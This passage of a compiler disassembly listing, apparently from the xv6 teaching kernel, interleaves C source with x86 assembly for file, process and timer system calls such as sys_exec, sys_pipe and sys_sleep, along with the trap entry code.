80105e75: 8b 45 f4 mov -0xc(%ebp),%eax
80105e78: 89 04 24 mov %eax,(%esp)
80105e7b: e8 29 bb ff ff call 801019a9 <iunlock>
end_op();
80105e80: e8 0f d6 ff ff call 80103494 <end_op>
f->type = FD_INODE;
80105e85: 8b 45 f0 mov -0x10(%ebp),%eax
80105e88: c7 00 02 00 00 00 movl $0x2,(%eax)
f->ip = ip;
80105e8e: 8b 45 f0 mov -0x10(%ebp),%eax
80105e91: 8b 55 f4 mov -0xc(%ebp),%edx
80105e94: 89 50 10 mov %edx,0x10(%eax)
f->off = 0;
80105e97: 8b 45 f0 mov -0x10(%ebp),%eax
80105e9a: c7 40 14 00 00 00 00 movl $0x0,0x14(%eax)
f->readable = !(omode & O_WRONLY);
80105ea1: 8b 45 e4 mov -0x1c(%ebp),%eax
80105ea4: 83 e0 01 and $0x1,%eax
80105ea7: 85 c0 test %eax,%eax
80105ea9: 0f 94 c0 sete %al
80105eac: 89 c2 mov %eax,%edx
80105eae: 8b 45 f0 mov -0x10(%ebp),%eax
80105eb1: 88 50 08 mov %dl,0x8(%eax)
f->writable = (omode & O_WRONLY) || (omode & O_RDWR);
80105eb4: 8b 45 e4 mov -0x1c(%ebp),%eax
80105eb7: 83 e0 01 and $0x1,%eax
80105eba: 85 c0 test %eax,%eax
80105ebc: 75 0a jne 80105ec8 <sys_open+0x183>
80105ebe: 8b 45 e4 mov -0x1c(%ebp),%eax
80105ec1: 83 e0 02 and $0x2,%eax
80105ec4: 85 c0 test %eax,%eax
80105ec6: 74 07 je 80105ecf <sys_open+0x18a>
80105ec8: b8 01 00 00 00 mov $0x1,%eax
80105ecd: eb 05 jmp 80105ed4 <sys_open+0x18f>
80105ecf: b8 00 00 00 00 mov $0x0,%eax
80105ed4: 89 c2 mov %eax,%edx
80105ed6: 8b 45 f0 mov -0x10(%ebp),%eax
80105ed9: 88 50 09 mov %dl,0x9(%eax)
return fd;
80105edc: 8b 45 ec mov -0x14(%ebp),%eax
}
80105edf: c9 leave
80105ee0: c3 ret
80105ee1 <sys_mkdir>:
int
sys_mkdir(void)
{
80105ee1: 55 push %ebp
80105ee2: 89 e5 mov %esp,%ebp
80105ee4: 83 ec 28 sub $0x28,%esp
char *path;
struct inode *ip;
begin_op();
80105ee7: e8 24 d5 ff ff call 80103410 <begin_op>
if(argstr(0, &path) < 0 || (ip = create(path, T_DIR, 0, 0)) == 0){
80105eec: 8d 45 f0 lea -0x10(%ebp),%eax
80105eef: 89 44 24 04 mov %eax,0x4(%esp)
80105ef3: c7 04 24 00 00 00 00 movl $0x0,(%esp)
80105efa: e8 38 f5 ff ff call 80105437 <argstr>
80105eff: 85 c0 test %eax,%eax
80105f01: 78 2c js 80105f2f <sys_mkdir+0x4e>
80105f03: 8b 45 f0 mov -0x10(%ebp),%eax
80105f06: c7 44 24 0c 00 00 00 movl $0x0,0xc(%esp)
80105f0d: 00
80105f0e: c7 44 24 08 00 00 00 movl $0x0,0x8(%esp)
80105f15: 00
80105f16: c7 44 24 04 01 00 00 movl $0x1,0x4(%esp)
80105f1d: 00
80105f1e: 89 04 24 mov %eax,(%esp)
80105f21: e8 5f fc ff ff call 80105b85 <create>
80105f26: 89 45 f4 mov %eax,-0xc(%ebp)
80105f29: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
80105f2d: 75 0c jne 80105f3b <sys_mkdir+0x5a>
end_op();
80105f2f: e8 60 d5 ff ff call 80103494 <end_op>
return -1;
80105f34: b8 ff ff ff ff mov $0xffffffff,%eax
80105f39: eb 15 jmp 80105f50 <sys_mkdir+0x6f>
}
iunlockput(ip);
80105f3b: 8b 45 f4 mov -0xc(%ebp),%eax
80105f3e: 89 04 24 mov %eax,(%esp)
80105f41: e8 99 bb ff ff call 80101adf <iunlockput>
end_op();
80105f46: e8 49 d5 ff ff call 80103494 <end_op>
return 0;
80105f4b: b8 00 00 00 00 mov $0x0,%eax
}
80105f50: c9 leave
80105f51: c3 ret
80105f52 <sys_mknod>:
int
sys_mknod(void)
{
80105f52: 55 push %ebp
80105f53: 89 e5 mov %esp,%ebp
80105f55: 83 ec 38 sub $0x38,%esp
struct inode *ip;
char *path;
int len;
int major, minor;
begin_op();
80105f58: e8 b3 d4 ff ff call 80103410 <begin_op>
if((len=argstr(0, &path)) < 0 ||
80105f5d: 8d 45 ec lea -0x14(%ebp),%eax
80105f60: 89 44 24 04 mov %eax,0x4(%esp)
80105f64: c7 04 24 00 00 00 00 movl $0x0,(%esp)
80105f6b: e8 c7 f4 ff ff call 80105437 <argstr>
80105f70: 89 45 f4 mov %eax,-0xc(%ebp)
80105f73: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
80105f77: 78 5e js 80105fd7 <sys_mknod+0x85>
argint(1, &major) < 0 ||
80105f79: 8d 45 e8 lea -0x18(%ebp),%eax
80105f7c: 89 44 24 04 mov %eax,0x4(%esp)
80105f80: c7 04 24 01 00 00 00 movl $0x1,(%esp)
80105f87: e8 1b f4 ff ff call 801053a7 <argint>
char *path;
int len;
int major, minor;
begin_op();
if((len=argstr(0, &path)) < 0 ||
80105f8c: 85 c0 test %eax,%eax
80105f8e: 78 47 js 80105fd7 <sys_mknod+0x85>
argint(1, &major) < 0 ||
argint(2, &minor) < 0 ||
80105f90: 8d 45 e4 lea -0x1c(%ebp),%eax
80105f93: 89 44 24 04 mov %eax,0x4(%esp)
80105f97: c7 04 24 02 00 00 00 movl $0x2,(%esp)
80105f9e: e8 04 f4 ff ff call 801053a7 <argint>
int len;
int major, minor;
begin_op();
if((len=argstr(0, &path)) < 0 ||
argint(1, &major) < 0 ||
80105fa3: 85 c0 test %eax,%eax
80105fa5: 78 30 js 80105fd7 <sys_mknod+0x85>
argint(2, &minor) < 0 ||
(ip = create(path, T_DEV, major, minor)) == 0){
80105fa7: 8b 45 e4 mov -0x1c(%ebp),%eax
80105faa: 0f bf c8 movswl %ax,%ecx
80105fad: 8b 45 e8 mov -0x18(%ebp),%eax
80105fb0: 0f bf d0 movswl %ax,%edx
80105fb3: 8b 45 ec mov -0x14(%ebp),%eax
int major, minor;
begin_op();
if((len=argstr(0, &path)) < 0 ||
argint(1, &major) < 0 ||
argint(2, &minor) < 0 ||
80105fb6: 89 4c 24 0c mov %ecx,0xc(%esp)
80105fba: 89 54 24 08 mov %edx,0x8(%esp)
80105fbe: c7 44 24 04 03 00 00 movl $0x3,0x4(%esp)
80105fc5: 00
80105fc6: 89 04 24 mov %eax,(%esp)
80105fc9: e8 b7 fb ff ff call 80105b85 <create>
80105fce: 89 45 f0 mov %eax,-0x10(%ebp)
80105fd1: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
80105fd5: 75 0c jne 80105fe3 <sys_mknod+0x91>
(ip = create(path, T_DEV, major, minor)) == 0){
end_op();
80105fd7: e8 b8 d4 ff ff call 80103494 <end_op>
return -1;
80105fdc: b8 ff ff ff ff mov $0xffffffff,%eax
80105fe1: eb 15 jmp 80105ff8 <sys_mknod+0xa6>
}
iunlockput(ip);
80105fe3: 8b 45 f0 mov -0x10(%ebp),%eax
80105fe6: 89 04 24 mov %eax,(%esp)
80105fe9: e8 f1 ba ff ff call 80101adf <iunlockput>
end_op();
80105fee: e8 a1 d4 ff ff call 80103494 <end_op>
return 0;
80105ff3: b8 00 00 00 00 mov $0x0,%eax
}
80105ff8: c9 leave
80105ff9: c3 ret
80105ffa <sys_chdir>:
int
sys_chdir(void)
{
80105ffa: 55 push %ebp
80105ffb: 89 e5 mov %esp,%ebp
80105ffd: 83 ec 28 sub $0x28,%esp
char *path;
struct inode *ip;
begin_op();
80106000: e8 0b d4 ff ff call 80103410 <begin_op>
if(argstr(0, &path) < 0 || (ip = namei(path)) == 0){
80106005: 8d 45 f0 lea -0x10(%ebp),%eax
80106008: 89 44 24 04 mov %eax,0x4(%esp)
8010600c: c7 04 24 00 00 00 00 movl $0x0,(%esp)
80106013: e8 1f f4 ff ff call 80105437 <argstr>
80106018: 85 c0 test %eax,%eax
8010601a: 78 14 js 80106030 <sys_chdir+0x36>
8010601c: 8b 45 f0 mov -0x10(%ebp),%eax
8010601f: 89 04 24 mov %eax,(%esp)
80106022: e8 df c3 ff ff call 80102406 <namei>
80106027: 89 45 f4 mov %eax,-0xc(%ebp)
8010602a: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
8010602e: 75 0c jne 8010603c <sys_chdir+0x42>
end_op();
80106030: e8 5f d4 ff ff call 80103494 <end_op>
return -1;
80106035: b8 ff ff ff ff mov $0xffffffff,%eax
8010603a: eb 61 jmp 8010609d <sys_chdir+0xa3>
}
ilock(ip);
8010603c: 8b 45 f4 mov -0xc(%ebp),%eax
8010603f: 89 04 24 mov %eax,(%esp)
80106042: e8 14 b8 ff ff call 8010185b <ilock>
if(ip->type != T_DIR){
80106047: 8b 45 f4 mov -0xc(%ebp),%eax
8010604a: 0f b7 40 10 movzwl 0x10(%eax),%eax
8010604e: 66 83 f8 01 cmp $0x1,%ax
80106052: 74 17 je 8010606b <sys_chdir+0x71>
iunlockput(ip);
80106054: 8b 45 f4 mov -0xc(%ebp),%eax
80106057: 89 04 24 mov %eax,(%esp)
8010605a: e8 80 ba ff ff call 80101adf <iunlockput>
end_op();
8010605f: e8 30 d4 ff ff call 80103494 <end_op>
return -1;
80106064: b8 ff ff ff ff mov $0xffffffff,%eax
80106069: eb 32 jmp 8010609d <sys_chdir+0xa3>
}
iunlock(ip);
8010606b: 8b 45 f4 mov -0xc(%ebp),%eax
8010606e: 89 04 24 mov %eax,(%esp)
80106071: e8 33 b9 ff ff call 801019a9 <iunlock>
iput(proc->cwd);
80106076: 65 a1 04 00 00 00 mov %gs:0x4,%eax
8010607c: 8b 40 68 mov 0x68(%eax),%eax
8010607f: 89 04 24 mov %eax,(%esp)
80106082: e8 87 b9 ff ff call 80101a0e <iput>
end_op();
80106087: e8 08 d4 ff ff call 80103494 <end_op>
proc->cwd = ip;
8010608c: 65 a1 04 00 00 00 mov %gs:0x4,%eax
80106092: 8b 55 f4 mov -0xc(%ebp),%edx
80106095: 89 50 68 mov %edx,0x68(%eax)
return 0;
80106098: b8 00 00 00 00 mov $0x0,%eax
}
8010609d: c9 leave
8010609e: c3 ret
8010609f <sys_exec>:
int
sys_exec(void)
{
8010609f: 55 push %ebp
801060a0: 89 e5 mov %esp,%ebp
801060a2: 81 ec a8 00 00 00 sub $0xa8,%esp
char *path, *argv[MAXARG];
int i;
uint uargv, uarg;
if(argstr(0, &path) < 0 || argint(1, (int*)&uargv) < 0){
801060a8: 8d 45 f0 lea -0x10(%ebp),%eax
801060ab: 89 44 24 04 mov %eax,0x4(%esp)
801060af: c7 04 24 00 00 00 00 movl $0x0,(%esp)
801060b6: e8 7c f3 ff ff call 80105437 <argstr>
801060bb: 85 c0 test %eax,%eax
801060bd: 78 1a js 801060d9 <sys_exec+0x3a>
801060bf: 8d 85 6c ff ff ff lea -0x94(%ebp),%eax
801060c5: 89 44 24 04 mov %eax,0x4(%esp)
801060c9: c7 04 24 01 00 00 00 movl $0x1,(%esp)
801060d0: e8 d2 f2 ff ff call 801053a7 <argint>
801060d5: 85 c0 test %eax,%eax
801060d7: 79 0a jns 801060e3 <sys_exec+0x44>
return -1;
801060d9: b8 ff ff ff ff mov $0xffffffff,%eax
801060de: e9 c8 00 00 00 jmp 801061ab <sys_exec+0x10c>
}
memset(argv, 0, sizeof(argv));
801060e3: c7 44 24 08 80 00 00 movl $0x80,0x8(%esp)
801060ea: 00
801060eb: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
801060f2: 00
801060f3: 8d 85 70 ff ff ff lea -0x90(%ebp),%eax
801060f9: 89 04 24 mov %eax,(%esp)
801060fc: e8 64 ef ff ff call 80105065 <memset>
for(i=0;; i++){
80106101: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
if(i >= NELEM(argv))
80106108: 8b 45 f4 mov -0xc(%ebp),%eax
8010610b: 83 f8 1f cmp $0x1f,%eax
8010610e: 76 0a jbe 8010611a <sys_exec+0x7b>
return -1;
80106110: b8 ff ff ff ff mov $0xffffffff,%eax
80106115: e9 91 00 00 00 jmp 801061ab <sys_exec+0x10c>
if(fetchint(uargv+4*i, (int*)&uarg) < 0)
8010611a: 8b 45 f4 mov -0xc(%ebp),%eax
8010611d: c1 e0 02 shl $0x2,%eax
80106120: 89 c2 mov %eax,%edx
80106122: 8b 85 6c ff ff ff mov -0x94(%ebp),%eax
80106128: 01 c2 add %eax,%edx
8010612a: 8d 85 68 ff ff ff lea -0x98(%ebp),%eax
80106130: 89 44 24 04 mov %eax,0x4(%esp)
80106134: 89 14 24 mov %edx,(%esp)
80106137: e8 cf f1 ff ff call 8010530b <fetchint>
8010613c: 85 c0 test %eax,%eax
8010613e: 79 07 jns 80106147 <sys_exec+0xa8>
return -1;
80106140: b8 ff ff ff ff mov $0xffffffff,%eax
80106145: eb 64 jmp 801061ab <sys_exec+0x10c>
if(uarg == 0){
80106147: 8b 85 68 ff ff ff mov -0x98(%ebp),%eax
8010614d: 85 c0 test %eax,%eax
8010614f: 75 26 jne 80106177 <sys_exec+0xd8>
argv[i] = 0;
80106151: 8b 45 f4 mov -0xc(%ebp),%eax
80106154: c7 84 85 70 ff ff ff movl $0x0,-0x90(%ebp,%eax,4)
8010615b: 00 00 00 00
break;
8010615f: 90 nop
}
if(fetchstr(uarg, &argv[i]) < 0)
return -1;
}
return exec(path, argv);
80106160: 8b 45 f0 mov -0x10(%ebp),%eax
80106163: 8d 95 70 ff ff ff lea -0x90(%ebp),%edx
80106169: 89 54 24 04 mov %edx,0x4(%esp)
8010616d: 89 04 24 mov %eax,(%esp)
80106170: e8 7a a9 ff ff call 80100aef <exec>
80106175: eb 34 jmp 801061ab <sys_exec+0x10c>
return -1;
if(uarg == 0){
argv[i] = 0;
break;
}
if(fetchstr(uarg, &argv[i]) < 0)
80106177: 8d 85 70 ff ff ff lea -0x90(%ebp),%eax
8010617d: 8b 55 f4 mov -0xc(%ebp),%edx
80106180: c1 e2 02 shl $0x2,%edx
80106183: 01 c2 add %eax,%edx
80106185: 8b 85 68 ff ff ff mov -0x98(%ebp),%eax
8010618b: 89 54 24 04 mov %edx,0x4(%esp)
8010618f: 89 04 24 mov %eax,(%esp)
80106192: e8 ae f1 ff ff call 80105345 <fetchstr>
80106197: 85 c0 test %eax,%eax
80106199: 79 07 jns 801061a2 <sys_exec+0x103>
return -1;
8010619b: b8 ff ff ff ff mov $0xffffffff,%eax
801061a0: eb 09 jmp 801061ab <sys_exec+0x10c>
if(argstr(0, &path) < 0 || argint(1, (int*)&uargv) < 0){
return -1;
}
memset(argv, 0, sizeof(argv));
for(i=0;; i++){
801061a2: 83 45 f4 01 addl $0x1,-0xc(%ebp)
argv[i] = 0;
break;
}
if(fetchstr(uarg, &argv[i]) < 0)
return -1;
}
801061a6: e9 5d ff ff ff jmp 80106108 <sys_exec+0x69>
return exec(path, argv);
}
801061ab: c9 leave
801061ac: c3 ret
801061ad <sys_pipe>:
int
sys_pipe(void)
{
801061ad: 55 push %ebp
801061ae: 89 e5 mov %esp,%ebp
801061b0: 83 ec 38 sub $0x38,%esp
int *fd;
struct file *rf, *wf;
int fd0, fd1;
if(argptr(0, (void*)&fd, 2*sizeof(fd[0])) < 0)
801061b3: c7 44 24 08 08 00 00 movl $0x8,0x8(%esp)
801061ba: 00
801061bb: 8d 45 ec lea -0x14(%ebp),%eax
801061be: 89 44 24 04 mov %eax,0x4(%esp)
801061c2: c7 04 24 00 00 00 00 movl $0x0,(%esp)
801061c9: e8 07 f2 ff ff call 801053d5 <argptr>
801061ce: 85 c0 test %eax,%eax
801061d0: 79 0a jns 801061dc <sys_pipe+0x2f>
return -1;
801061d2: b8 ff ff ff ff mov $0xffffffff,%eax
801061d7: e9 9b 00 00 00 jmp 80106277 <sys_pipe+0xca>
if(pipealloc(&rf, &wf) < 0)
801061dc: 8d 45 e4 lea -0x1c(%ebp),%eax
801061df: 89 44 24 04 mov %eax,0x4(%esp)
801061e3: 8d 45 e8 lea -0x18(%ebp),%eax
801061e6: 89 04 24 mov %eax,(%esp)
801061e9: e8 51 dd ff ff call 80103f3f <pipealloc>
801061ee: 85 c0 test %eax,%eax
801061f0: 79 07 jns 801061f9 <sys_pipe+0x4c>
return -1;
801061f2: b8 ff ff ff ff mov $0xffffffff,%eax
801061f7: eb 7e jmp 80106277 <sys_pipe+0xca>
fd0 = -1;
801061f9: c7 45 f4 ff ff ff ff movl $0xffffffff,-0xc(%ebp)
if((fd0 = fdalloc(rf)) < 0 || (fd1 = fdalloc(wf)) < 0){
80106200: 8b 45 e8 mov -0x18(%ebp),%eax
80106203: 89 04 24 mov %eax,(%esp)
80106206: e8 67 f3 ff ff call 80105572 <fdalloc>
8010620b: 89 45 f4 mov %eax,-0xc(%ebp)
8010620e: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
80106212: 78 14 js 80106228 <sys_pipe+0x7b>
80106214: 8b 45 e4 mov -0x1c(%ebp),%eax
80106217: 89 04 24 mov %eax,(%esp)
8010621a: e8 53 f3 ff ff call 80105572 <fdalloc>
8010621f: 89 45 f0 mov %eax,-0x10(%ebp)
80106222: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
80106226: 79 37 jns 8010625f <sys_pipe+0xb2>
if(fd0 >= 0)
80106228: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
8010622c: 78 14 js 80106242 <sys_pipe+0x95>
proc->ofile[fd0] = 0;
8010622e: 65 a1 04 00 00 00 mov %gs:0x4,%eax
80106234: 8b 55 f4 mov -0xc(%ebp),%edx
80106237: 83 c2 08 add $0x8,%edx
8010623a: c7 44 90 08 00 00 00 movl $0x0,0x8(%eax,%edx,4)
80106241: 00
fileclose(rf);
80106242: 8b 45 e8 mov -0x18(%ebp),%eax
80106245: 89 04 24 mov %eax,(%esp)
80106248: e8 81 ad ff ff call 80100fce <fileclose>
fileclose(wf);
8010624d: 8b 45 e4 mov -0x1c(%ebp),%eax
80106250: 89 04 24 mov %eax,(%esp)
80106253: e8 76 ad ff ff call 80100fce <fileclose>
return -1;
80106258: b8 ff ff ff ff mov $0xffffffff,%eax
8010625d: eb 18 jmp 80106277 <sys_pipe+0xca>
}
fd[0] = fd0;
8010625f: 8b 45 ec mov -0x14(%ebp),%eax
80106262: 8b 55 f4 mov -0xc(%ebp),%edx
80106265: 89 10 mov %edx,(%eax)
fd[1] = fd1;
80106267: 8b 45 ec mov -0x14(%ebp),%eax
8010626a: 8d 50 04 lea 0x4(%eax),%edx
8010626d: 8b 45 f0 mov -0x10(%ebp),%eax
80106270: 89 02 mov %eax,(%edx)
return 0;
80106272: b8 00 00 00 00 mov $0x0,%eax
}
80106277: c9 leave
80106278: c3 ret
80106279 <sys_fork>:
#include "mmu.h"
#include "proc.h"
int
sys_fork(void)
{
80106279: 55 push %ebp
8010627a: 89 e5 mov %esp,%ebp
8010627c: 83 ec 08 sub $0x8,%esp
return fork();
8010627f: e8 66 e3 ff ff call 801045ea <fork>
}
80106284: c9 leave
80106285: c3 ret
80106286 <sys_exit>:
int
sys_exit(void)
{
80106286: 55 push %ebp
80106287: 89 e5 mov %esp,%ebp
80106289: 83 ec 08 sub $0x8,%esp
exit();
8010628c: e8 d4 e4 ff ff call 80104765 <exit>
return 0; // not reached
80106291: b8 00 00 00 00 mov $0x0,%eax
}
80106296: c9 leave
80106297: c3 ret
80106298 <sys_wait>:
int
sys_wait(void)
{
80106298: 55 push %ebp
80106299: 89 e5 mov %esp,%ebp
8010629b: 83 ec 08 sub $0x8,%esp
return wait();
8010629e: e8 e4 e5 ff ff call 80104887 <wait>
}
801062a3: c9 leave
801062a4: c3 ret
801062a5 <sys_kill>:
int
sys_kill(void)
{
801062a5: 55 push %ebp
801062a6: 89 e5 mov %esp,%ebp
801062a8: 83 ec 28 sub $0x28,%esp
int pid;
if(argint(0, &pid) < 0)
801062ab: 8d 45 f4 lea -0xc(%ebp),%eax
801062ae: 89 44 24 04 mov %eax,0x4(%esp)
801062b2: c7 04 24 00 00 00 00 movl $0x0,(%esp)
801062b9: e8 e9 f0 ff ff call 801053a7 <argint>
801062be: 85 c0 test %eax,%eax
801062c0: 79 07 jns 801062c9 <sys_kill+0x24>
return -1;
801062c2: b8 ff ff ff ff mov $0xffffffff,%eax
801062c7: eb 0b jmp 801062d4 <sys_kill+0x2f>
return kill(pid);
801062c9: 8b 45 f4 mov -0xc(%ebp),%eax
801062cc: 89 04 24 mov %eax,(%esp)
801062cf: e8 77 e9 ff ff call 80104c4b <kill>
}
801062d4: c9 leave
801062d5: c3 ret
801062d6 <sys_getpid>:
int
sys_getpid(void)
{
801062d6: 55 push %ebp
801062d7: 89 e5 mov %esp,%ebp
return proc->pid;
801062d9: 65 a1 04 00 00 00 mov %gs:0x4,%eax
801062df: 8b 40 10 mov 0x10(%eax),%eax
}
801062e2: 5d pop %ebp
801062e3: c3 ret
801062e4 <sys_sbrk>:
int
sys_sbrk(void)
{
801062e4: 55 push %ebp
801062e5: 89 e5 mov %esp,%ebp
801062e7: 83 ec 28 sub $0x28,%esp
int addr;
int n;
if(argint(0, &n) < 0)
801062ea: 8d 45 f0 lea -0x10(%ebp),%eax
801062ed: 89 44 24 04 mov %eax,0x4(%esp)
801062f1: c7 04 24 00 00 00 00 movl $0x0,(%esp)
801062f8: e8 aa f0 ff ff call 801053a7 <argint>
801062fd: 85 c0 test %eax,%eax
801062ff: 79 07 jns 80106308 <sys_sbrk+0x24>
return -1;
80106301: b8 ff ff ff ff mov $0xffffffff,%eax
80106306: eb 24 jmp 8010632c <sys_sbrk+0x48>
addr = proc->sz;
80106308: 65 a1 04 00 00 00 mov %gs:0x4,%eax
8010630e: 8b 00 mov (%eax),%eax
80106310: 89 45 f4 mov %eax,-0xc(%ebp)
if(growproc(n) < 0)
80106313: 8b 45 f0 mov -0x10(%ebp),%eax
80106316: 89 04 24 mov %eax,(%esp)
80106319: e8 27 e2 ff ff call 80104545 <growproc>
8010631e: 85 c0 test %eax,%eax
80106320: 79 07 jns 80106329 <sys_sbrk+0x45>
return -1;
80106322: b8 ff ff ff ff mov $0xffffffff,%eax
80106327: eb 03 jmp 8010632c <sys_sbrk+0x48>
return addr;
80106329: 8b 45 f4 mov -0xc(%ebp),%eax
}
8010632c: c9 leave
8010632d: c3 ret
8010632e <sys_sleep>:
int
sys_sleep(void)
{
8010632e: 55 push %ebp
8010632f: 89 e5 mov %esp,%ebp
80106331: 83 ec 28 sub $0x28,%esp
int n;
uint ticks0;
if(argint(0, &n) < 0)
80106334: 8d 45 f0 lea -0x10(%ebp),%eax
80106337: 89 44 24 04 mov %eax,0x4(%esp)
8010633b: c7 04 24 00 00 00 00 movl $0x0,(%esp)
80106342: e8 60 f0 ff ff call 801053a7 <argint>
80106347: 85 c0 test %eax,%eax
80106349: 79 07 jns 80106352 <sys_sleep+0x24>
return -1;
8010634b: b8 ff ff ff ff mov $0xffffffff,%eax
80106350: eb 6c jmp 801063be <sys_sleep+0x90>
acquire(&tickslock);
80106352: c7 04 24 20 49 11 80 movl $0x80114920,(%esp)
80106359: e8 b3 ea ff ff call 80104e11 <acquire>
ticks0 = ticks;
8010635e: a1 60 51 11 80 mov 0x80115160,%eax
80106363: 89 45 f4 mov %eax,-0xc(%ebp)
while(ticks - ticks0 < n){
80106366: eb 34 jmp 8010639c <sys_sleep+0x6e>
if(proc->killed){
80106368: 65 a1 04 00 00 00 mov %gs:0x4,%eax
8010636e: 8b 40 24 mov 0x24(%eax),%eax
80106371: 85 c0 test %eax,%eax
80106373: 74 13 je 80106388 <sys_sleep+0x5a>
release(&tickslock);
80106375: c7 04 24 20 49 11 80 movl $0x80114920,(%esp)
8010637c: e8 f2 ea ff ff call 80104e73 <release>
return -1;
80106381: b8 ff ff ff ff mov $0xffffffff,%eax
80106386: eb 36 jmp 801063be <sys_sleep+0x90>
}
sleep(&ticks, &tickslock);
80106388: c7 44 24 04 20 49 11 movl $0x80114920,0x4(%esp)
8010638f: 80
80106390: c7 04 24 60 51 11 80 movl $0x80115160,(%esp)
80106397: e8 ab e7 ff ff call 80104b47 <sleep>
if(argint(0, &n) < 0)
return -1;
acquire(&tickslock);
ticks0 = ticks;
while(ticks - ticks0 < n){
8010639c: a1 60 51 11 80 mov 0x80115160,%eax
801063a1: 2b 45 f4 sub -0xc(%ebp),%eax
801063a4: 89 c2 mov %eax,%edx
801063a6: 8b 45 f0 mov -0x10(%ebp),%eax
801063a9: 39 c2 cmp %eax,%edx
801063ab: 72 bb jb 80106368 <sys_sleep+0x3a>
release(&tickslock);
return -1;
}
sleep(&ticks, &tickslock);
}
release(&tickslock);
801063ad: c7 04 24 20 49 11 80 movl $0x80114920,(%esp)
801063b4: e8 ba ea ff ff call 80104e73 <release>
return 0;
801063b9: b8 00 00 00 00 mov $0x0,%eax
}
801063be: c9 leave
801063bf: c3 ret
801063c0 <sys_uptime>:
// return how many clock tick interrupts have occurred
// since start.
int
sys_uptime(void)
{
801063c0: 55 push %ebp
801063c1: 89 e5 mov %esp,%ebp
801063c3: 83 ec 28 sub $0x28,%esp
uint xticks;
acquire(&tickslock);
801063c6: c7 04 24 20 49 11 80 movl $0x80114920,(%esp)
801063cd: e8 3f ea ff ff call 80104e11 <acquire>
xticks = ticks;
801063d2: a1 60 51 11 80 mov 0x80115160,%eax
801063d7: 89 45 f4 mov %eax,-0xc(%ebp)
release(&tickslock);
801063da: c7 04 24 20 49 11 80 movl $0x80114920,(%esp)
801063e1: e8 8d ea ff ff call 80104e73 <release>
return xticks;
801063e6: 8b 45 f4 mov -0xc(%ebp),%eax
}
801063e9: c9 leave
801063ea: c3 ret
801063eb <outb>:
"memory", "cc");
}
static inline void
outb(ushort port, uchar data)
{
801063eb: 55 push %ebp
801063ec: 89 e5 mov %esp,%ebp
801063ee: 83 ec 08 sub $0x8,%esp
801063f1: 8b 55 08 mov 0x8(%ebp),%edx
801063f4: 8b 45 0c mov 0xc(%ebp),%eax
801063f7: 66 89 55 fc mov %dx,-0x4(%ebp)
801063fb: 88 45 f8 mov %al,-0x8(%ebp)
asm volatile("out %0,%1" : : "a" (data), "d" (port));
801063fe: 0f b6 45 f8 movzbl -0x8(%ebp),%eax
80106402: 0f b7 55 fc movzwl -0x4(%ebp),%edx
80106406: ee out %al,(%dx)
}
80106407: c9 leave
80106408: c3 ret
80106409 <timerinit>:
#define TIMER_RATEGEN 0x04 // mode 2, rate generator
#define TIMER_16BIT 0x30 // r/w counter 16 bits, LSB first
void
timerinit(void)
{
80106409: 55 push %ebp
8010640a: 89 e5 mov %esp,%ebp
8010640c: 83 ec 18 sub $0x18,%esp
// Interrupt 100 times/sec.
outb(TIMER_MODE, TIMER_SEL0 | TIMER_RATEGEN | TIMER_16BIT);
8010640f: c7 44 24 04 34 00 00 movl $0x34,0x4(%esp)
80106416: 00
80106417: c7 04 24 43 00 00 00 movl $0x43,(%esp)
8010641e: e8 c8 ff ff ff call 801063eb <outb>
outb(IO_TIMER1, TIMER_DIV(100) % 256);
80106423: c7 44 24 04 9c 00 00 movl $0x9c,0x4(%esp)
8010642a: 00
8010642b: c7 04 24 40 00 00 00 movl $0x40,(%esp)
80106432: e8 b4 ff ff ff call 801063eb <outb>
outb(IO_TIMER1, TIMER_DIV(100) / 256);
80106437: c7 44 24 04 2e 00 00 movl $0x2e,0x4(%esp)
8010643e: 00
8010643f: c7 04 24 40 00 00 00 movl $0x40,(%esp)
80106446: e8 a0 ff ff ff call 801063eb <outb>
picenable(IRQ_TIMER);
8010644b: c7 04 24 00 00 00 00 movl $0x0,(%esp)
80106452: e8 7b d9 ff ff call 80103dd2 <picenable>
}
80106457: c9 leave
80106458: c3 ret
80106459 <alltraps>:
# vectors.S sends all traps here.
.globl alltraps
alltraps:
# Build trap frame.
pushl %ds
80106459: 1e push %ds
pushl %es
8010645a: 06 push %es
pushl %fs
8010645b: 0f a0 push %fs
pushl %gs
8010645d: 0f a8 push %gs
pushal
8010645f: 60 pusha
# Set up data and per-cpu segments.
movw $(SEG_KDATA<<3), %ax
80106460: 66 b8 10 00 mov $0x10,%ax
movw %ax, %ds
80106464: 8e d8 mov %eax,%ds
movw %ax, %es
80106466: 8e c0 mov %eax,%es
movw $(SEG_KCPU<<3), %ax
80106468: 66 b8 18 00 mov $0x18,%ax
movw %ax, %fs
8010646c: 8e e0 mov %eax,%fs
movw %ax, %gs
8010646e: 8e e8 mov %eax,%gs
# Call trap(tf), where tf=%esp
pushl %esp
80106470: 54 push %esp
call trap
80106471: e8 d8 01 00 00 call 8010664e <trap>
addl $4, %esp
80106476: 83 c4 04 add $0x4,%esp
80106479 <trapret>:
# Return falls through to trapret...
.globl trapret
trapret:
popal
80106479: 61 popa
popl %gs
8010647a: 0f a9 pop %gs
popl %fs
8010647c: 0f a1 pop %fs
popl %es
8010647e: 07 pop %es
popl %ds
8010647f: 1f pop %ds
addl $0x8, %esp # trapno and errcode
80106480: 83 c4 08 add $0x8,%esp
iret
80106483: cf iret
80106484 <lidt>:
struct gatedesc;
static inline void
lidt(struct gatedesc *p, int size)
{
80106484: 55 push %ebp
80106485: 89 e5 mov %esp,%ebp
80106487: 83 ec 10 sub $0x10,%esp
volatile ushort pd[3];
pd[0] = size-1;
8010648a: 8b 45 0c mov 0xc(%ebp),%eax
8010648d: 83 e8 01 sub $0x1,%eax
80106490: 66 89 45 fa mov %ax,-0x6(%ebp)
pd[1] = (uint)p;
80106494: 8b 45 08 mov 0x8(%ebp),%eax
80106497: 66 89 45 fc mov %ax,-0x4(%ebp)
pd[2] = (uint)p >> 16;
8010649b: 8b 45 08 mov 0x8(%ebp),%eax
8010649e: c1 e8 10 shr $0x10,%eax
